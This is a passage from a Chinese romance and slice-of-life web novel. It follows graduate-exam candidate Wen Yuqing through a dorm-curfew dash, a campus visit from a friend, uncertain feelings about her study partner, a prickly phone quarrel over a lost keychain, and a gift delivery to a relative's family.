于海蕴笑了笑,神色放松下来,像是独行时,终于撞见同行的路人,证明了她所选择的路径并非鲜有人迹的窄路。
终究只是一个自我安慰而已。
几年的感情没那么快释怀,分手的难过仍像一道旧伤,隐隐作痛,这是无解的,她是自私的,并不想为谁改变,强求无法得到的理解和支持,只会让彼此更痛苦。
她歪着头,就近寻了一处柔软做支撑。
“有点晕,我眯会儿。”
厚实的棉衣凹陷下去,闻毓青肩头陡然一重,转头侧目睨去。
从她的角度,能看到一道高挺的鼻梁,阖上眼帘的女生面容恬静,浓长的睫毛像两片小扇,许是为了防止粉底蹭到浅色的外衣,她用那头烫出好看弧度的长发垫在脸侧,隔开衣物布料。
这是她和曾经不太熟的于海蕴,意外地靠得更近的时刻。
闻毓青悄悄坐直身体,抬升肩膀高度,好让她靠得更舒服些。
“谢谢。”闭着眼的于海蕴启唇。
闻毓青愣了下,很轻地嗯了一声。
载着晚归之人的末班地铁,在隧道内飞驰而过,车厢内依旧平稳如常,对面的车窗镜面倒映出两道身影。哪怕只是一趟车的时间,像现在这样,这个能支撑别人疲倦身躯的重量的肩膀,会让闻毓青觉得,自己是有那么一点力量的。
她盯着镜子里景象许久,这时候的自己,看起来比平时高挑的于海蕴还要高出半个头。
脑袋像转动的秒针,一秒一秒地向顺时针方向轻歪。
滴答,滴答...
转到第五秒的时候,两颗脑袋触碰。
闻毓青在模仿,某个互相抵靠的表情包。
...
一趟平静的地铁过后,两人迎来一场生死时速的狂奔。
地铁口没共享,她们只能跑到学校大门,然后从校门口骑车到宿舍楼下,按照平常的速度,这个过程的耗时,怎么也得三十分钟。
离门禁还有二十分钟。
有点悬,但闻毓青觉得,加快速度冲一冲还是可以的!
她拉着于海蕴的手,撒腿就跑,那道气喘吁吁的声音,像幽灵一样追在身后,“慢点!慢点!慢点!”
闻毓青置若罔闻,只顾埋头向前冲,还得匀出点力气大声说话,“加油加油!快了!”
两人明明就一前一后,却像在隔山喊话,寒风里错落着她们的回声。
“大不了让宿管开门就好!”
“还是快点!我上周就晚归过一次了!”
也就闻毓青这样的乖学生还把学校这些破规矩放在心里,于海蕴拿她没办法,她力气怎么大得跟头牛一样,手抽都抽不出来,被死拽着一路往前跑。
“真的别跑了!”她胸口急剧起伏着,忙喊停,“我鞋不好走路,脚会磨破的。”
闻言,闻毓青的步伐渐渐慢下来,停在一处绿化花坛边,让她休息。
她眼里满是歉意,“没事吧?有没有出血?”
“应该没。这是新靴子,不好跑。”
“对不起啊,是我太急了。”
“来不及就慢慢走回去,被记晚归没什么的,这和小学生没带红领巾有什么区别?”
闻毓青摇摇头,解释道:“我上周回去都零点半了,阿姨睡觉被我吵醒了来开门,我熬夜给别人修了几张图,有点饿,就去宿舍一楼的自动售货机买饼干吃,那时候都凌晨一点
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半了,还有人晚归,阿姨又得爬起来给大家开门。”
宿管阿姨裹着棉睡衣,顶着披散的乱发,睡意惺忪地拿着把钥匙走出来,嘴里一直凶着晚归的学生。
虽然形象不大好看,也被大家诟病凶神恶煞,可这一晚晚的,还是冬天,不断被打断睡眠,反反复复醒来给别人开门,很少有人能保持好脾气。
闻毓青试问自己,她可做不到和颜悦色。
维护宿舍的管理和秩序,是宿管阿姨的工作,可要让人这样模糊昼夜边界地工作,这个规则的运行方式就很有问题。
不能认为理所当然。
“可是现在,是真的来不及了。”
于海蕴看了眼时间。
闻毓青耸耸肩,“没办法,那就让阿姨再骂一次吧。”她还有心情开玩笑,“骂来骂去,下次还敢。”
“走吧,”于海蕴笑了笑,起身往前,“说不定我们回去她还没睡着,火气能小些。
她们没再像方才那样拼命跑,但步子还是比走路更快。到宿舍楼下,两人诧异地发现,大门没有落锁,她们互相对视一眼,满是疑惑。
闻毓青:“阿姨忘记上锁了?”
于海蕴:“刷卡试试能不能开?”
闻毓青视线往上,“这里好像加了一个新的电子锁——”
“哎哎哎!我的青!”
滚轮的声音伴随着急切的呼唤,闻毓青回头,方岚拖着行李箱朝她们招手,两个玩得乐不思蜀的舍友,今晚风尘仆仆地回来了。
另一个舍友倪沐喜看见于海蕴,惊喜道:“蕴姐回来了啊!”
方岚:“笑死,今晚我们宿舍要被阿姨一窝端了。”
闻毓青帮她们把箱子提上台阶,问:“你们怎么这个点才回来?”
倪沐喜:“飞机晚点了。”
方岚:“咱们剪刀石头布,谁打头阵,去叫醒阿姨?”
“好像不用叫...”闻毓青说。
刚刷了下门卡,新加的电子锁亮了一小块屏幕,弹出一个晚归扫码登记的二维码,她一扫,就跳出电子版的登记填写表。
她亮给她们看,“现在晚归扫码登记就能开门了!”
方岚拍手,“啊啊啊!太好了!”
倪沐喜猛然想起来,“是不是因为你上周让我们签的联名建议信!”
“什么?”于海蕴一头雾水。
倪沐喜:“上周青写了封建议信,说之前的门禁不方便,开开关关声音很大,影响一楼同学和阿姨休息,建议换智能锁设置门禁,然后给楼里的人签字,传了几天,大部分人看到都签了,你那时候不在。”
“学校动作还挺快的嘛!夸夸!”闻毓青满脸高兴,大手一挥,豪爽道:“今天的晚归记我账上!”
方岚:“耶!老板大方!”
填完信息提交,电子门锁就解开了,她推开门,指挥交通:“快进快进!”
生怕吵醒阿姨过来清点登记的人数,一行人搬着行囊蚂蚁搬家,鬼鬼祟祟的,倪沐喜行李箱上不慎滚落一只小包。
“我帮你捡!”
闻毓青说着,在门边拍了张照,笑吟吟跟上去。
其实一开始拿着那封信每间宿舍敲,还挺难为情的,她只能暗自在内心给自己打气,像发传单那样就好!
后来多亏两个e人舍友帮她一起,她才更放得开,她们收集了好几页的签名,密密麻麻的都是名字。
洗漱完,躺在床上的时候,闻毓青嘴角都还扬着弧度,颧骨卡住掉不下来,真好真好!
第二天一大早,她去图书馆占到了位置,靠窗的好位置,阳光照在身上,暖乎乎的,她都被烘晒得有点犯困了。
妈妈发来今年做的手工腊肠和腊肉的照片。
阿欢:「青青,我寄了点给你。」
闻毓青:「寄给我干嘛呀?」
阿欢:「你帮妈妈送到轩轩表叔家,提前拜个年,以后轩轩要麻烦人家了,你接送轩轩回家总要和人家见面的,先去走动认识一下。」
闻毓青:「可恶,都先斩后奏了!」
阿欢:「不想去可以寄快递。[捂嘴笑]」
闻毓青:「安啦,可以去」
闻毓青:「我也像邓昕轩那样喊表叔表婶吗,还是叫叔叔阿姨就好?」
阿欢:「讲礼貌就好,喊什么都行,他们家还有个儿子,好似和你差不多大。」
闻毓青:「......这个我是绝对不会喊哥哥或者弟弟的!!!」
妈妈发来一排笑哭的表情。
阿欢:「打招呼就好啦。[捂脸]」
闻毓青:「好的~」
16. 016
将近十点时,汪凝洁通知闻毓青,她已经到了宜江经贸学院的大门。闻毓青发定位过去,告诉她自己在宜大的图书馆自习。
阳光在枝叶枯黄的冬日调色,此刻是暖色调。
空气弥散着金色粉尘,涂了木蜡油的桌椅表面,泛起澄黄的光泽,闻毓青拍了张照片过去,表明已经按照她的吩咐,为她占好一个风水宝地。
汪凝洁满意地发来一个亲亲表情包。
等人快到图书馆门口,闻毓青忙带着学生卡下楼,让她刷门禁进来。
图书馆中央大厅呈圆形,弧线边缘是一层又一层螺旋上升的艺术楼梯,阶梯很宽阔,十个人并排而行都不成问题。
楼梯外侧竖起约一米高的橡木栏杆,刻着简洁雅观的花纹,内侧做成挑高书墙,书架之间错落摆放着新鲜绿植,龟背竹、吊兰、散尾葵、铁线蕨......屋顶建有半圆的玻璃穹顶,阳光倾洒而下,堪称植物宜居的阳光房。
站在图书馆大厅的中心,仰头向上望,这里简直是一座绿色的天然氧吧。
汪凝洁一层层爬上去,气息有点急促,但嘴上赞不绝口。
“在这儿学习幸福感好高!”
“是吧!我超喜欢这里!学累了就来爬楼梯透气”
闻毓青带她去了阅览室的座位,汪凝洁在书架上随便拿了本园林杂志翻阅,闻毓青继续自习,两人互不打扰,一直待到了中午饭点。
咚。很轻的一声脆响。
桌面被人用指节骨敲了一下,闻毓青抬眼,对上宋齐远总是那么温和的笑颜。
“要一起去吃饭吗?”
闻毓青眼底划过意外,因为他特意约饭。平常他们都是各吃的,不会特意约一起去食堂,偶尔碰到彼此,就坐着边吃边闲聊一会儿。
她眼神示意,“今天我和朋友一起吃。”
宋齐远看过去,汪凝洁托着下巴,扬起笑朝他挥了下手,他微微颔首,弯唇说了句你好,随后转头和闻毓青说:“那我自己先——”
“没关系,可以一起。”汪凝洁忽地开口,“你们是固定的饭搭子吗?”
他说不是,“今天有事找毓青。”
“那就一起去食堂吧。”闻毓青合上笔记本,捞起桌上的手机,“现在干饭大部队还没到,我们快点去,就不用排长队了。”
路上汪凝洁问有什么好吃的推荐,闻毓青通常只吃离图书馆最近的那个食堂,给不了什么实用的推荐。
宋齐远是本校人,对各个食堂的菜系比较清楚,细心地询问汪凝洁的饮食喜好过后,带她去某家砂锅粉的档口。味道很合汪凝洁的胃口,扬言下次还来吃。
一顿饭的光景,汪凝洁加上了宋齐远的微信,快把他的个人情况的尽调得一清二楚——
土生土长的宜江本地人,父母做生意的,有一个弟弟,大学谈过一次恋爱,平常喜欢看看电影打打球,从小到大念的学校都不错,大学成绩在班里也是翘楚,大二还拿到交换的名额,去英国待了半年......
总而言之,一直都是很优秀的男孩。
闻毓青咋舌,饶是她和宋齐远成为研友快半年多了,对他的了解都没汪凝洁一顿饭里问到的信息多。
饭后,宋齐远陪汪凝洁逛了一圈宜大,领她去人工湖看黑天鹅,绿波荡漾,天光明朗通透,湖边有手挽手漫步绕弯的学生们,姿态从容闲适。
汪凝洁伸了个懒腰,把手机塞给闻毓青,站在湖畔,“帮我拍点照片吧。”
闻毓青给她拍了好多张,她今天穿了一身浅黄的套裙,淡淡的樱花色系的妆容,和湖光树色互相映衬,甚是明艳动人。
“要帮你拍吗?”
宋齐远不知什么时候走近,伸出手,要接过手机的姿势。
“不用不用,谢谢你。”闻毓青摆手,连连摇头,抗拒的意味很明显。
温润的眸子里带上淡淡的笑意,他用开玩笑的语气说:“这么讨厌拍照啊,还是单纯不想让我给你拍?”
这话说的......
闻毓青连忙回:“都是丑照啦,还不如不拍。”
“是信不过我的拍照技术吗?”
闻毓青不好意思笑了下,实诚道:“有点。最主要的是,我一看见镜头就浑身僵硬,表情也木木的。”
笑比哭还难看,拍出来实在不美丽。
比起成为被拍摄的那个,她更喜欢当镜头背后的那个人,像现在这样,把汪凝洁开怀大笑的鲜活一面记录下来。
宋齐远无奈弯唇,往后退了两步,留出空间给她继续拍照。
正拍着,手机跳出一则来电,备注姓名:孙清楷。
闻毓青翻转手机屏幕,“汪汪你有电话。”
看清来电的人,汪凝洁衔笑的面色骤然冷淡下来,眼底浮现出不悦的神色,走回来,伸出食指一点,挂断了。
她拿回手机,说打算再去闻毓青的学校逛逛。
宋齐远先行告辞,“我就不跟着了。”
“谢谢招待,”汪凝洁笑吟吟说:“有机会下次请你吃饭。”
“不客气。”
送走了宋齐远,汪凝洁弯腰捶腿,累了,要休息会儿。她指着一棵枝条舒展的法国梧桐树,说想去那里的草坪坐着。
两人靠着树旁盘腿坐下,干枯的叶片发出咬碎薯片的脆响,汪凝洁捏捏闻毓青的胳膊,猝不及防提起:“你这个朋友还不赖,长相清俊斯文,还是学霸,文质彬彬又有涵养,和你挺搭的。”
“什么搭不搭的啊?”闻毓青的脸瞬间涨红,简直头皮发麻,“我们就是在图书馆认识的,同学而已!”
“好容易害羞啊,小闻同学。”汪凝洁极有自信,和她打包票,“他肯定喜欢你。”
“没有!”闻毓青斩钉截铁。
“是吗?我以为他对你有意思呢。”
“对我......有意思吗?”
她迟疑着,低声复述着,方才果断否决的气焰降了下来。
可能,或许,是有那么一点点呢?
虽然这样的想法显得她很自恋,但宋齐远有些举动,确实让闻毓青产生过误会:他是不是对自己有好感?
比如某天他们路上碰到,并肩同行的时候,他突然对她说了一句“毓青同学,其实我挺喜欢你的”这样的话,差点把她吓一跳。
但他很坦荡地笑了下,不解地问她怎么一脸懵,刚才在想什么呢?搞得她不好意思往下继续聊了,大概是她想歪了,说不定他刚才只是在表达对她的欣赏。
可是,她有什么值得被欣赏的地方呢?
再比如,约她跨年夜出去玩,这样的邀请在闻毓青看来,实在是过于暧昧了,她想也没想就拒绝了。结果后面说漏嘴,让他知道了她那天自己出去玩,他又露出一副伤心的样子来调侃她......
这样想想,很难不多想啊。
然而大部分的时候,他都是温柔谦和的模样,和她像普通同学那样相处着,以至于闻毓青捉摸不定他的真实态度。
猜来猜去没结果,又不能主动问,万一不是呢?那她要糗大了。
汪凝洁的话,让她现在的心情像跷跷板,忽上忽下的。
不过这份纠结,并不是什么冒着粉红泡泡的少女心事,而是闻毓青二十多岁以来,第一次思考自己是否能匹配得上关于爱和喜欢的想象。
她是那个合格的、具备被喜欢条件的对象吗?
她是中学时期里老师口中的那个谁,是被淹没在人群里也不会被注意到的、不具名的某某某,很长一段时间,更是人群里的异类,只想罩上一件隐身衣,缩在所有人都看不到的角落里。
从小到大成绩平平,长相普通,被人夸最多的是性格随和好相处,这算什么优点呢?有时候她也会急得跳脚没耐心脾气差。
不是自我评价低,她其实能客观看待自己,与人为善,勤快,不聪明但
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也不笨,学东西快......还是有不少优点的。
她只是觉得,自己好像并没有什么特别之处。
「你值得被爱」,又或者,「不要执着于被爱」,这样的言论没办法阻挡人在某些时候,叩问一句:为什么?
视线触及草地,她拾起地上一片落叶,指间撵着叶柄打旋,大脑思绪浮动。
对了,宋齐远今天找她有什么事呢?中午吃饭他们都忘了说。
不仅如此,她想向他打听的事也没机会提起。
“在想什么?”汪凝洁打了个响指。
“为什么会对我有意思呢?”
她低喃着,问汪凝洁,好像也在问自己。
汪凝洁反问她,“为什么不能呢?”
闻毓青敛目,盯着手里的叶片,睫毛眨了眨。
树叶只是顺应时节,自然凋零,而非有意飘进某本书的扉页,为谁的诗行题序。
人还是不要牵强附会的好。
从来没被人喜欢过的闻毓青,生怕那些字眼,只是她对喜欢的误读。
但有一点她很明白,自己是认认真真把宋齐远当研友的。
她不是那种懵懂无知、缺爱、害怕孤独和无聊的人,情情爱爱的事情反而看得很开,如果用得到的爱为衡量富有程度的标准的话,闻毓青早已从阿欢姐那里得到了一整座矿脉。
她一出生差点就要被抛弃了,是妈妈死死抱着她不撒手,陪她到现在。她想象不到,除了妈妈,这个世界上还有谁会那样无条件地爱她,不放弃她,不论她是什么样子。
想到阿欢姐,闻毓青浑身充满奋斗的干劲。
“管他呢!我现在要好好为复试做准备,不想那些有的没的!”
“什么时候出成绩?”
“二月下旬。”
“祝你初试通过呐,”汪凝洁像只小猫一样蹭蹭她,然后身体滑下来,脑袋亲昵地枕在闻毓青腿上躺着,慵懒道:“反正他考京川,你考宜大,不在一个地方,以后很难往下继续发展。”
闻毓青笑,“想这么长远哦。”
“很正常啦,我们毕业那年,好几个考研的同学在图书馆和研友看对了眼,有些考完就分了,倒是有一对修成正果的。”
闻毓青傻眼,“备考人都要秃了,怎么还有心情谈恋爱。”
书背不完,题刷不完,她每天要愁死了。
“宝宝,又不是高中生了,谈个恋爱怎么了,”汪凝洁晃动手指头:“光是学习也很枯燥啊,谈谈恋爱调剂心情。”
草地上手机振动起来,闻毓青看过去,是汪凝洁的电话。
还是那个叫孙清楷的人打的。
汪凝洁闭着眼沐浴阳光,问:“我的吗?”
“对,孙清楷。”
“帮我关机吧。”
闻毓青:“噢,好的。”
然后汪凝洁下一句:“这前夫太烦人了。”
“嗯???”闻毓青张着嘴,惊掉下巴。
她笑了下,“我没和你说我英年早婚吗?”
闻毓青缓缓道:“...没。”
不仅没说结婚了,也没说离婚了啊。
汪凝洁食指抵在唇边,比了个嘘的动作,“那你现在知道了,不要声张哦。”
“我不会乱说的。”
“乖孩子。”
身体里的倦怠因子被午后暖阳勾引出来,闻毓青感到难得的放松,也不急着回图书馆了,仰头靠在树干上,闭起了眼睛,偶有微风轻抚发丝,像母亲的手温柔拂过面庞。
不知不觉就睡着了,头一歪,脸庞贴着脖颈的红色羊绒围巾,一种轻飘飘的、很舒服的触感,像婴儿蜷缩在母体里那样安心。
一片小叶子掉在脑袋,又弹落在草地,梦里的她,眉心若有所感地动了动。
恍惚忆起,去年和妈妈从市场搬回店里的那盆幸福树——
不知道现在长势如何了?
17. 017
陪汪凝洁逛完经贸,闻毓青将人送到校门口,送上车,在路边同她挥手道别。
独自走回图书馆的途中,手机收到一通陌生来电。
“你好。”她客气地开口。
对方喊:“闻毓青。”
声音从电波里传来,似隔了一层雾,不真切。她怔愣住,名字被直接叫出的那刻,下意识以为是哪个认识她的同学。
旋即询问:“请问是哪位?”
“被你删了的那个。”
她哪有删什么同学——转瞬即逝的一刹那,脑子蹦出一个名字,陆曦泽。
“呃....”被追上门讨伐,还是有点尴尬的,她问:“有什么事吗?”
对方不依不挠,“你删我干嘛?”
“你不是还完钱了么。”
“哦,”他一副占据道德高地、指控负心汉的语气,但依旧欠欠的,“还完就活该被删啊,这么无情?我还以为你报复心上来了,我删你一回,你也要删我一回。”
“我没那么无聊。”
已经下午了,不知道他上午有没有陪那个女孩去医院,十有八九没去,不然怎么现在有闲心追究一个陌生人删他好友的事?
闻毓青不打算和他继续聊,丢下一句“我还有事,拜拜”,而后不带一丝犹豫地,立即掐断了通话。
什么情况?
另一头,被人劈头盖脸地撂了电话的陆曦泽,顿时感到莫名。
平心而论,他向来招女生喜欢,因为长相好,从小到大,遇到过不少当他面他连话都说不出来的女孩。但人家那是不好意思,有个词怎么说来着,欲语还休,不敢和他多说话,却总是忍不住抬眼,时不时偷瞄他几下。说实话,挺让人头疼的。
从前年纪小,觉察到那些注视的目光,陆曦泽表面强装着不在意,背地里耳根却忍不住发烫泛红,放学回家,和他妈倒苦水,控诉教室里的目光对他造成了如何的困扰,产生了种种影响。
他妈只会没心没肺地啃着苹果,调侃自家儿子,哎呦喂,今天又去哪儿挖煤了?然后指使他,自己把衣服换了拿去手搓。还不忘站洗衣池边上说风凉话,像你这种狗都嫌的邋遢小男孩,有人看得上你就偷着乐吧。
天地良心,陆曦泽宁愿没人看得上他,是真不想被人盯着,跟安了监控似的,一举一动随时被捕捉,做什么都不自在,逼得他一没包袱的小孩,最后不得不有点形象包袱了。
随着年纪增长,脸皮倒是没以前薄,这种事情遇得多,稀松平常,大脑已经自觉进化出了一道防护和屏蔽系统。
不好意思和不耐烦,陆曦泽还是能分得清的。
闻毓青在电话里的反应,分明就是不想和他沾边,他什么时候这么讨女生嫌了,话费能有多贵,和他多说一句得亏得倾家荡产?
他满头雾水地拨了一个电话回去,对方正在通话中。
过了半小时拨了一通,还在打电话。
两小时后,他玩着游戏忽然想起这事,又打过去,依旧正在通话。
陆曦泽终于觉着不对劲,才往他被拉黑了这方面想,于是搜索:电话被拉黑如何判断。重新拨了通电话,他比照着搜出的特征,最后断定——
电话确实被拉黑了。
陆曦泽快气笑了,连着被删微信、拉黑号码,人生第一次享受这么丰厚的闭门羹优待,心里多少有点吃瘪和不爽。
她在躲瘟神?他哪里得罪她了?思来想去,只有他先前误删她好友的事了。
陆曦泽叹口气,人家好歹帮过他,他没忘,心底兀自把她当半个朋友看待。她呢,早跟她解释过,她偏不信,非要把他当骗子。
这他多冤啊。
-
下午五点半,夕阳正好。
在书桌前俯首久坐,健康监测app提醒闻毓青去户外活动。她走出阅览室转换心情,倚在四楼栏杆边,俯瞰图书馆中央旋转楼梯的绿植,顿感耳目一新。
陆曦泽的电话就是在这时候打通的。
闻毓青没反应过来,他换了别人的号码打,直到他出声,她才听出他的声音。一句尾音上扬的嗨,语气带着点制胜的意味,像是挑衅地表示:还不是让我打通了。
闻毓青有点哭笑不得,料想对方这么执着找她,或许真的有事,于是淡淡道:“你好,有事吗?”
“当然有事,没事找你干嘛,我闲得慌?”
闻毓青腹诽,怎么感觉你特别闲。
“好的,那你说吧。”
“先同意我的好友申请,把我微信加回来。”
“为什么,你朋友圈集赞缺人?”
闻毓青是细嗓,声线一贯温润平和,当她不急不躁地问出这句话时,完全不像怼人,让陆曦泽懵了一下,她认真问的?
觉得好笑,他散漫地轻呵一声,语气是反问的,“......你觉得呢?我能缺你一个人头?”
“所以到底什么事?”闻毓青自动忽略他话里的揶揄,目的明确地追问。
他很坚决,“加回来再说。”
“...有这个必要吗?”
“本来是没有的。但你不打招呼把我删了,还拉黑我号码,这事做得不地道,没人情味,让我很不爽!”他咬牙切齿地批斗她,“我和你说过了,之前是误删你了,钱也还你了,你倒好,转头就把我删了拉黑了,几个意思?真把我当骗钱的了?闻毓青,你的行为,是对我变相的污蔑和羞辱。”
闻毓青:“......”
这个男的,长着一张拽比酷盖的高冷脸,为什么本人能这么幼稚?
这让闻毓青幻视家里的小学生邓昕轩,和别人玩卡牌游戏输了,总闹着要重开扳回一局,最是争强好胜,要面子。
“等一下,”电光火石之间,闻毓青意识到一个很严肃的问题,语气倏地加重,“你在哪里查到我的名字和电话的?”
“哎!违法的事情我不做啊!”
闻毓青眉头紧锁,“那你怎么知道?”
“当然是你说的。”
闻毓青感到荒谬无比,“怎么可能?”
陆曦泽哼了声,帮她好好回忆,“民宿店,前台登记,小许让你报号码,别不认。”
小许就是前台小哥,闻毓青依稀记起来这回事,他那时爬楼梯累死累活坐在沙发,一副天塌下来都别影响他休息的状态,竟然还有空记她号码。
“你那时候就记住了?”
他理所当然地嗯了一声,得意道:“我记性好,有问题吗?”
“名字呢?”她当时没报名字吧。
陆曦泽一顿,是找路科打听的,他没说实话,归揽到民宿店头上,“找小许问的。你谁啊,姓甚名谁,我总得备注吧,你不回我,我只能找知道的问咯。”他无所谓被人盘问,“还有什么要问,赶紧的,没什么好问的话,就先绕回来,解决下咱俩的事。”
闻毓青仰头望着玻璃穹顶,天光快消散了,云际逐渐被阴郁的冷调浸染。
本该属于她的黄昏时刻,被这通电话打断,她现在却像只无头苍蝇一样,被他打哑谜耗着。
她叹口气,磨得没情绪了,“快点说吧。”
“那天离开民宿店,你东西掉马路边了,怎么给你?”
“是不是一个小盆栽的玩偶挂件?!”
东西丢了的这几天,闻毓青在帆布包里没找着,抱着东西可能落在宿舍的最后一丝希望,把床和柜子、书桌都倒腾了个遍,还是不见踪影。
她致电过民宿店,问打扫时有没有看到,但小许告诉她没有。
原来在外面被陆曦泽捡到了。
他问:“还要不
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要?”
已经从于海蕴那里知道他是宜大的学生,闻毓青没有不明知故问,直接说:“我在宜大图书馆,你方便过来吗,我也可以来找你。”
“可以,但你先向我道个歉。”
闻毓青:“啊?”
“我呢,喜欢有话直说,不爱受委屈,”陆曦泽不疾不徐道:“你说句对不起,承认误会我了,这事就过去了,我把东西拿来给你。”
凭什么,拿她的东西“要挟”她,臭不要脸!
指甲陷进手心,她意识到自己正捏着拳,因为他的无理取闹,心底冒出一股无名火,胸肺像不断膨胀的气球,她微微张口,留出一个泄气的气孔,深呼吸,保持冷静。
闻毓青发现,她对这种人很没耐心。当然,他更恶劣无耻,有把人惹到跳脚的本事。
手机移近唇边,她扬声:“爱还不还。难道你不是骗子,就是什么好东西了嘛!”
然后狠狠按下挂断键。
手机熄屏,紧紧掐在手里,她转身往回走,没留神,差点迎面撞到了人。
她急忙刹车后仰,“对不起。”
一只手扶着她的胳膊,帮忙稳住她摇摇晃晃的身体,是宋齐远,他扬起一抹如沐春风的笑,眼底是善意的关心,提醒她,“小心点。”
闻毓青道谢,垂下胳膊,不好意思地说:“走太急,没看路。”
看他往楼梯口方向走,她反应过来,又到饭点了。备考复习就是这样,每天被三餐一觉切割,每顿饭都变成了时间的锚点,是日复一日的结绳记事般的存在。
今天最后的一顿饭的节点,闻毓青主动提出,“我和你一起去食堂吧。”
宋齐远唇边绽开温和笑意,“好啊。”
排队点好餐,两人穿行在拥挤的狭窄过道,端着餐盘找座位,闻毓青眼尖,在乌泱泱的人头里找到了空着的两个位置。
刚一落座,旁边一个女生发出轻嗤的声音,在嘈杂的食堂人声背景里,十分突兀地落进闻毓青的耳畔。
宋齐远端着餐盘,站在对面,女生直勾勾盯着他,眼神劲劲儿的,不是友善的态度。宋齐远那张总是带笑的脸上,此刻面无表情,甚至绷不住,显现出一丝裂缝。
面容精致女生白了他一眼,视线又扫过闻毓青,随后抓起身后的包,贴着细闪和碎钻的美甲搭在餐盘,端着没吃完的饭菜站起来,趾高气昂地离开了。
闻毓青看得出,女生并非针对她,她绝对认识宋齐远,而且两人看起来似乎有过什么龃龉。
心底不禁默默感叹,她可真会找位置啊。
她很有眼力见地,装作没注意到刚才的暗潮汹涌,扒了口饭进嘴里,没话找话,“今天的米饭蒸得真不错,不硬不烂,刚刚好。”
宋齐远坐下,夹了一口饭进嘴里,点了点头。
他望着闻毓青,很肯定地问:“你找我有事吧。”
闻毓青嗯了一声。
“让我猜猜,是想问我中午找你做什么?”
“哦对,还有这个。”
闻毓青经他提醒才想起来。
看她一脸后知后觉的表情,宋齐远抬眉,“还有其他事?”
“对,”闻毓青单刀直入,“你认识你们专业的陆曦泽吗?”
宋齐远掀眼,眸中闪过一瞬幽微不明的冷淡,微微蹙眉,下颌紧绷着。
从小察言观色的闻毓青,很快捕捉到他脸上的变化,不由感到诧异。他现在的状态,像弓起背、毛发竖立的猫,处于反感的情绪里,或者说警惕更合适。
“怎么了?”她问。
宋齐远直视闻毓青的眼睛,从中解读不出任何羞涩暧昧的情愫,面色和缓了一些。他扯起唇角笑了下,很快恢复那股从容不迫的神态。
“你也想从我这里打听他的消息吗?”
18. 018
几天后,妈妈寄来的快递到了。
很大的一个纸箱,拆开看,里面有几件年货礼盒,坚果、糕点和酒,妈妈特意把她做的腊肠和腊肉弄成了真空包装。
闻毓青按妈妈的吩咐,把东西分装进她附在箱子里的红色硬纸皮包装袋里,阿欢姐说这样喜庆好看。
打通那个早先存在手机里的号码,闻毓青刚表明身份,对面的女人很快地,热情洋溢地朝她问好,还亲昵地喊她青青。
闻毓青愣了一下,料想她应该是听妈妈那样喊过。
“你妈妈好客气的呀,让你特意来一趟。”
“应该的,”闻毓青礼貌道:“您明天在家吗?我方便过来吗?”
邓昕轩的表婶人很随和,笑吟吟地连说方便,“周末我们都在家的,欢迎你来。”
“好的。我明天下午从学校坐地铁过来,大概会在四点左右到您家。”
“到站了和我发个消息,我让我儿子来接你。”
闻毓青忙说:“不用,我自己过去。”
“他反正没事,地铁到我家有点远,这样快些。”女人细心道:“提着东西走路多累啊。”
其实打个车就好,但学校离城北有点远,闻毓青不舍得。
别看这些腊肠腊肉就两个袋子,妈妈塞了不少,每个提起来份量都不轻,加上还有其他的东西,思及此,她没有再推拒。
“好吧,谢谢您。”
翌日下午,闻毓青提着大大小小的礼品袋,从地铁站乘扶梯上到地面。
刚放下东西,腾出只手拿手机要打电话时,不远处一个青年,正朝她阔步走来。体型高大,身姿笔直板正,小平头,国字脸,刚毅方正的长相。
在和茫然的闻毓青对视的瞬间,他露出一个微笑。
大抵是因为那一脸正气的面庞,那笑也让人看着感到很可靠,让她无端想起,每年寒假回家,在宜江高铁站站岗的武警。
“闻毓青,是吗?”
“我是,你好。”
“你好,我叫邓灿霖,来接你的。”
青年说着便拿起地上的东西,另一只手打算把闻毓青手里的东西也一并拿走,闻毓青忙扯住,“这些我来拿就好。”
他没争,带闻毓青走了几步,停在地铁口停车处的一辆黑色电摩车前,东西最后都放在前踏板的位置。
到了他家楼下,邓灿霖提着东西领她上楼,到门口喊了声“妈”,门很快打开,中年女人的半张脸从打开的门缝里出现,而后是笑容灿烂的整张脸。
闻毓青点了个头问候,“阿姨好。”
“青青到啦,进屋里坐。”洪芳庆拉着闻毓青的胳膊,见她目光扫向在鞋架换鞋的邓灿霖,她忙说,“不用换鞋。”
还没来得及说什么,洪芳庆把她拉到餐桌前,小菜零食饮料,好吃好喝的招待起来,“晚点在家里吃个晚饭,我菜都买好了。”
这个情况闻毓青早有预料,十分从容地说道:“不用了阿姨,我晚点还有兼职。”
“这么懂事哟,”洪芳庆笑了笑,“几点的班?吃完让灿霖送你过去。”
“在中心广场那边,再晚就要迟到了。”
洪芳庆立刻道:“中心广场啊,五点半去都来得及!汤在锅里炖着了,灿霖爸刚下楼买口水鸡,我马上炒几个菜去,很快。”
“真的不用麻烦了...”
“你这孩子,跟你妈一样客气,不吃我就白忙活了,要生气了。”
闻毓青闭嘴,“好吧,谢谢阿姨。”
洪芳庆转身就进了厨房,邓灿霖笑了笑,“她开玩笑的。”
“我知道。”
少了洪芳庆的声音,气氛沉静下来,邓灿霖主动提起,“听说你在经贸念书,我和你一个学校。”
闻毓青讶异,“好巧,你大几?”
他说:“大四。”
“你和我一届。”
“其实我比你大两届,当了两年义务兵,回来继续念的。”
闻毓青点点头,难怪他身上一股硬朗板正的军人气质。
邓昕轩的表叔在十几分钟后提着口水鸡回家。
阿欢姐说他是实小的数学老师,但见了面,更让闻毓青觉得像语文老师,儒雅温和,书卷气很重,连和闻毓青交谈,说话都是轻声细语慢条斯理的。
这次过来的目的,无非是因为邓昕轩。
一家人看上去都是好相与的,闻毓青想,这小子住在这里应该是不会受什么委屈。
饭桌上,她深吸一口气,学着大人那套,端起一杯饮料,尽量让自己显得游刃有余,大方自然:“叔叔阿姨我经你们一杯,以后轩轩在你们家,要多麻烦叔叔阿姨了。”
有些话可说可不说,但她还是说了,“我知道,有时候照看别人家的孩子比带自己家的小孩还麻烦,不听话的时候打也不是骂也不是,更费心,我和妈妈都很感谢你们。我还在宜江,他要是调皮,你们可以直接找我。”
洪芳庆笑了笑,说这些话的时候,闻毓青脸上很明显的,不太自然,略显局促,但偏偏又特别郑重其事,一股孩子的稚气和真诚。
邓硕是丈夫邓时吉在老家宁州县的远方表弟,他们一家在宜江,很少同他来往。
洪芳庆之前过年回去,见过几面,对他印象不好,无所事事游手好闲,爱贪小便宜。上个月邓时吉说邓硕的小孩要转到实小,他们就住在实小旁边,邓硕想让孩子借住在家里。
洪芳庆心里多少是不情愿的,埋怨丈夫不懂推拒,照看邓硕家的孩子,怎么看都是白照顾,招上他,是给自己家添麻烦。
